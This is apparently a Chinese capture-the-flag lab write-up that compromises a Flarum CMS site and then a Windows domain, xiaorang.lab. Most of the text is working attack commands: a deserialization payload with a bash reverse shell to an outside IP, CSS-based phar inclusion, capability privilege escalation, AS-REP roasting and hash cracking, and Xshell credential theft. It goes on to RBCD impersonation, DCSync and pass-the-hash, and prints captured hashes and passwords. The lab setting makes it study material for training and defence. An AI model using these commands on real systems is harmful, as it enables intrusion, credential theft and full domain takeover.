访问发现是个Flarum CMS框架.
使用rockyou.txt爆破administrator得到密码1chris,登录后台
由于题目提示Flarum上执行任意命令,搜到了P牛的文章
照着打反序列化.
执行命令
./phpggc -p tar -b Monolog/RCE6 system "bash -c 'bash -i >& /dev/tcp/123.57.23.40/1111 0>&1'"
生成tar格式的phar文件包
将得到的base64替换
@import (inline) 'data:text/css;base64,xxx';
中的xxx
然后复制到后台修改css处
并保存.然后访问主页确保css成功刷新.再次重新修改css,对我们的phar进行文件包含.
.test {content: data-uri('phar://./assets/forum.css');
}
点击保存会卡一会,然后成功弹shell
发现没有root文件夹查看权限,
没法suid提权,这里需要使用capability提权
getcap -r / 2>/dev/null
这里的openssl可以提权
openssl enc -in "/root/flag/flag01.txt"
得到第一个flag: flag{2f62c0ea-121e-40f2-ba75-9c8368a2a89a}
传个代理,传个fscan去扫描
172.22.60.8:139 open
172.22.60.42:135 open
172.22.60.15:135 open
172.22.60.8:135 open
172.22.60.52:80 open
172.22.60.52:22 open
172.22.60.42:445 open
172.22.60.15:445 open
172.22.60.8:445 open
172.22.60.42:139 open
172.22.60.15:139 open
172.22.60.8:88 open
[*] NetInfo:
[*]172.22.60.42[->]Fileserver[->]172.22.60.42[->]169.254.83.27
[*] NetInfo:
[*]172.22.60.8[->]DC[->]172.22.60.8[->]169.254.42.35
[*] NetBios: 172.22.60.8 [+]DC XIAORANG\DC
[*] NetBios: 172.22.60.15 XIAORANG\PC1
[*] NetInfo:
[*]172.22.60.15[->]PC1[->]172.22.60.15[->]169.254.178.145
[*] NetBios: 172.22.60.42 XIAORANG\FILESERVER
[*] WebTitle: http://172.22.60.52 code:200 len:5867 title:霄壤社区
之前登录后台的时候看到了一堆用户和邮箱.
然而不是很方便去导下来.我们登录后台数据库去处理.
查看config文件获取数据库登录的账号和密码.
使用nvcat登陆将指定列导出(我蚁剑,nvcat啥的都没成功,手动一点一点打的)
打一个AS-REQ Roasting
proxychains impacket-GetNPUsers -dc-ip 172.22.60.8 xiaorang.lab/ -usersfile flarum_users.txt
得到
$krb5asrep$23$wangyun@XIAORANG.LAB:7113eff57f6a311ae31c6954239295c4$6d61457220f4a148bdb66b2eb60186c19fb59036b11408b4a16030a55f2e578917decac987e4bef1e5b758211a8a6657d7dcd7497a4f9f8d8574f19080146e794982c7dc0b9b86510cadc4c3ff84a7afef6fd51000c46cba3868799e5fe89a824acb90903b5e5a5da72503f30a8c9d016f298b2d3686bb75abfc48a7a2d31adc45600d6718c8b8b9712855c5f157c64f163e24fba17b0f926a62821344782e519d392da64129562cc04d0a098cdfb9d3c0101519c3b6c359467e061672ddde3853fa0101e1d6fa384cb4df313b6b6c4b0c8c8269f54dc9a4f04392ea6ad7c37084f0e3519e827a66f113f86b
$krb5asrep$23$zhangxin@XIAORANG.LAB:6a1df11dffef818977a03d01e7e34240$cc37025841b68c245336912104d4a4f0585c81685912feb5a08fe36e2c38e3ff550cc2902b8d7af2ad2846b4f6e9f785691b06d036c2941003af6eb13317da739a7fbd9779629345134d2d15b641684e477834e24eb9dc1fce6c912d9655813526175a3de0af09d778072cf2be2e7ef1d15e0b57850ebcb2e549d9e1638dde0f5f6809cd880635c759cf5074c238179b5377e5735b01be55b68f3f339eebe4382722d061b070ac328f912b2118efdafa99f81f5a7260ec253bafca4ebacae63e86627a20a2b80e5e1fd326a537d8c5d88a95273584549e47af14b54ee36a3c99244ef1405164903d963e4593
随便挑一个用户去爆一下
hashcat -m 18200 --force -a 0 '哈希' /usr/share/wordlists/rockyou.txt
爆破得到用户名和密码wangyun@XIAORANG.LAB/Adm12geC
用这个用户名和密码跑一下bloodhound
proxychains bloodhound-python -u wangyun -p Adm12geC -d xiaorang.lab -c all -ns 172.22.60.8 --zip --dns-tcp
发现用户zhangxin是Account Operator,对FileServer 有GenericAll权限.我们可以去打一个RBCD提权.
首先要有zhangxin的用户才行.我们先扫一下这个172.22.60.15看看
发现开了3389,rdp上去,发现有个xshell.我们点击提示让我们更新.这就没法玩了...
看wp知道要抓xshell的账号密码.
传个SharpXDecrypt去跑一下
成功抓到了zhangxin的密码admin4qwY38cc
接下来打RBCD,尝试按照网鼎杯半决赛的打
添加机器账户01
proxychains python3 addcomputer.py -method SAMR xiaorang.lab/zhangxin:admin4qwY38cc -computer-name 01\$ -computer-pass Passw0rd -dc-ip 172.22.60.8
传个powerview.ps1上去抓取机器账户sid
Import-Module .\PowerView.ps1
Get-NetComputer 01 -Properties objectsid
sid:S-1-5-21-3535393121-624993632-895678587-1116
修改172.22.60.42(FILESERVER)机器的msDS-AllowedToActOnBehalfOfOtherIdentity
属性,使其指向01
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3535393121-624993632-895678587-1116)";$SDBytes = New-Object byte[] ($SD.BinaryLength);$SD.GetBinaryForm($SDBytes, 0);Get-DomainComputer FILESERVER | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose
伪造一个Administrator的ST
proxychains impacket-getST xiaorang.lab/01\$:Passw0rd -spn cifs/FILESERVER.xiaorang.lab -impersonate administrator -dc-ip 172.22.60.8
导入票据
export KRB5CCNAME==administrator@cifs_FILESERVER.xiaorang.lab@XIAORANG.LAB.ccache
改hosts,哈希横传登录
proxychains python3 ~/CTFtools/impacket/examples/psexec.py Administrator@FILESERVER.xiaorang.lab -k -no-pass -dc-ip 172.22.60.8 -codec gbk
成功得到shell
flag:flag{c2385619-1870-4cbe-99d9-5c2a7e3e110d}
此时获得的是机器的管理员权限,可以直接DCSync(Bloodhound中有提示可以)
抓一下这个FIlESERVER的哈希
proxychains python3 secretsdump.py -k -no-pass FILESERVER.xiaorang.lab -dc-ip 172.22.60.8
其中FILESERVER的NTLM是XIAORANG\Fileserver$:aad3b435b51404eeaad3b435b51404ee:951d8a9265dfb652f42e5c8c497d70dc:::
进行DCSync攻击
proxychains ~/CTFtools/impacket/examples/secretsdump.py xiaorang.lab/'FILESERVER$':@172.22.60.8 -hashes ':951d8a9265dfb652f42e5c8c497d70dc' -just-dc-user Administrator
c3cfdc08527ec4ab6aa3e630e79d349b
就是域控的哈希
使用哈希横传去拿PC1的哈希
proxychains crackmapexec smb 172.22.60.15 -u administrator -Hc3cfdc08527ec4ab6aa3e630e79d349b -d xiaorang.lab -x "type C:\\Users\Administrator\flag\f*"
flag:flag{4a616538-8131-4d7e-9bd3-2452c232de32}
proxychains crackmapexec smb 172.22.60.8 -u administrator -Hc3cfdc08527ec4ab6aa3e630e79d349b -d xiaorang.lab -x "type C:\\Users\Administrator\flag\f*"
flag:flag{48fb52f2-e15d-473d-85b9-4889e1e136f6}